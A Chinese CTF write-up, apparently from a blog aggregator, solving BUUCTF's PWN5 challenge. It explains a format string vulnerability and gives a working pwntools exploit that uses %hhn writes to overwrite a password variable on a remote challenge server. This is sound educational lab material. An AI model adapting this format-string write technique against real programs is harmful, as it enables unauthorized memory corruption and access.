当前位置: 首页 > news >正文

【BUUCTF-PWN】7-[第五空间2019 决赛]PWN5

参考:BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com)
格式化字符串漏洞原理详解_printf 任意内存读取-CSDN博客

32位小端排序,有栈溢出保护
在这里插入图片描述

运行效果:
在这里插入图片描述

查看main函数
在这里插入图片描述

存在格式化字符串漏洞
输入的参数在栈上的位置是第十个:
在这里插入图片描述

可以直接%10$定位到这个位置:
在这里插入图片描述

利用格式化字符串漏洞去修改变量的值,这里变量长度为4个字节
在这里插入图片描述

对应的变量地址为0x0804C044、0x0804C045、0x0804C046、0x0804C047

在这里插入图片描述

所以可以用%10$,%11$,%12$,%13$去定位到这4个地址,再用%n修改这这个地址里的内容,正常的printf语句如下:
printf(“%10$hhn%11$hhn%12$hhn%13$hhn”, …,0x804c044, 0x804c045, 0x804c046, 0x804c047)
因此将正常的printf语句转为无参数的printf,即将参数放到格式化字符串前面构造payload,从而利用%n将前面的字符数写入到指定地址中,passwd的每个字节即写入地址中的值是p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)的长度,也就是4x4=16,二进制为0x10,所以passwd就是4个0x10拼接起来后的计算结果str(0x10101010)=269488144
这里没太懂为什么是16,难道是打印结果中G\xcF\xcE\xcD\xc的长度?
printf(“%10$hhn%11$hhn%12$hhn%13$hhn”, …,0x804c044, 0x804c045, 0x804c046, 0x804c047)

最终可用的exp:

from pwn import *
p = remote("node5.buuoj.cn",28260)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

执行效果:
在这里插入图片描述

相关文章:

  • 【大模型LLM面试合集】大语言模型基础_激活函数
  • 金斗云 HKMP智慧商业软件 任意用户创建漏洞复现
  • 《Windows API每日一练》6.2 客户区鼠标消息
  • 【Java09】方法(下)
  • 免费办公软件 -- LibreOffice v24.2.4
  • 2024 年最佳 Figma 字体
  • STM32学习历程(day2)
  • clone()方法
  • 无人机人员搜救
  • 看看这组B端规范,你就会感叹:钱真是万能的。
  • 推荐 2个功能强大的黑科技工具,真的会让你直呼卧槽
  • 工厂自动化相关设备工业一体机起到什么作用?
  • C++ 彻底搞懂指针(终章)
  • 数据库的视图
  • 由俭入奢易,由奢入俭难
  • express如何解决request entity too large问题
  • JS题目及答案整理
  • Spring Cloud Feign的两种使用姿势
  • v-if和v-for连用出现的问题
  • Vim Clutch | 面向脚踏板编程……
  • windows下使用nginx调试简介
  • 对超线程几个不同角度的解释
  • 开源中国专访:Chameleon原理首发,其它跨多端统一框架都是假的?
  • 收藏好这篇,别再只说“数据劫持”了
  • 06-01 点餐小程序前台界面搭建
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • ​创新驱动,边缘计算领袖:亚马逊云科技海外服务器服务再进化
  • #DBA杂记1
  • #QT项目实战(天气预报)
  • #window11设置系统变量#
  • $con= MySQL有关填空题_2015年计算机二级考试《MySQL》提高练习题(10)
  • (02)Cartographer源码无死角解析-(03) 新数据运行与地图保存、加载地图启动仅定位模式
  • (2024,RWKV-5/6,RNN,矩阵值注意力状态,数据依赖线性插值,LoRA,多语言分词器)Eagle 和 Finch
  • (30)数组元素和与数字和的绝对差
  • (bean配置类的注解开发)学习Spring的第十三天
  • (C11) 泛型表达式
  • (定时器/计数器)中断系统(详解与使用)
  • (附源码)计算机毕业设计ssm本地美食推荐平台
  • (黑马C++)L06 重载与继承
  • (牛客腾讯思维编程题)编码编码分组打印下标题目分析
  • (原創) 物件導向與老子思想 (OO)
  • (转)JVM内存分配 -Xms128m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=512m
  • (转)用.Net的File控件上传文件的解决方案
  • *setTimeout实现text输入在用户停顿时才调用事件!*
  • .NET CF命令行调试器MDbg入门(一)
  • .net core Swagger 过滤部分Api
  • .NET 表达式计算:Expression Evaluator
  • .NET/C# 如何获取当前进程的 CPU 和内存占用?如何获取全局 CPU 和内存占用?
  • .pings勒索病毒的威胁:如何应对.pings勒索病毒的突袭?
  • /*在DataTable中更新、删除数据*/
  • /dev下添加设备节点的方法步骤(通过device_create)
  • :“Failed to access IIS metabase”解决方法
  • @RestController注解的使用
  • [ C++ ] STL_vector -- 迭代器失效问题
  • [ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600